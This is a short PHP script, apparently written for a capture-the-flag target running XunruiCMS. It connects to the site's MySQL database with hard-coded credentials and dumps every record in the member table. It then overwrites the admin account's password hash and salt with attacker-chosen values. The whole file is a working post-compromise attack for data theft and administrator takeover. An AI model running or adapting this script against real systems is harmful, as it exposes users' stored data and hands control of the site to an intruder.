<?php
$db['default']  = [
'hostname'  => '127.0.0.1',
'username'  => 'ctf',
'password'  => '123456',
'database'  => 'xunruicms',
'DBPrefix'  => 'dr_',
];
$con = mysqli_connect('127.0.0.1', 'ctf', '123456');
mysqli_select_db($con, 'xunruicms');
$sql = 'select * from dr_member';
$res = mysqli_query($con,$sql);
while($row = mysqli_fetch_assoc($res)) {
    var_dump($row);
}
$sql1 = "UPDATE `dr_member` SET `password` = '62e69b828c74c50a1f6e93227cdf7e77', `salt` = '8d6dc35e50' WHERE `username` = \"admin\"";
$res = mysqli_query($con,$sql1);
mysqli_close($con);
?>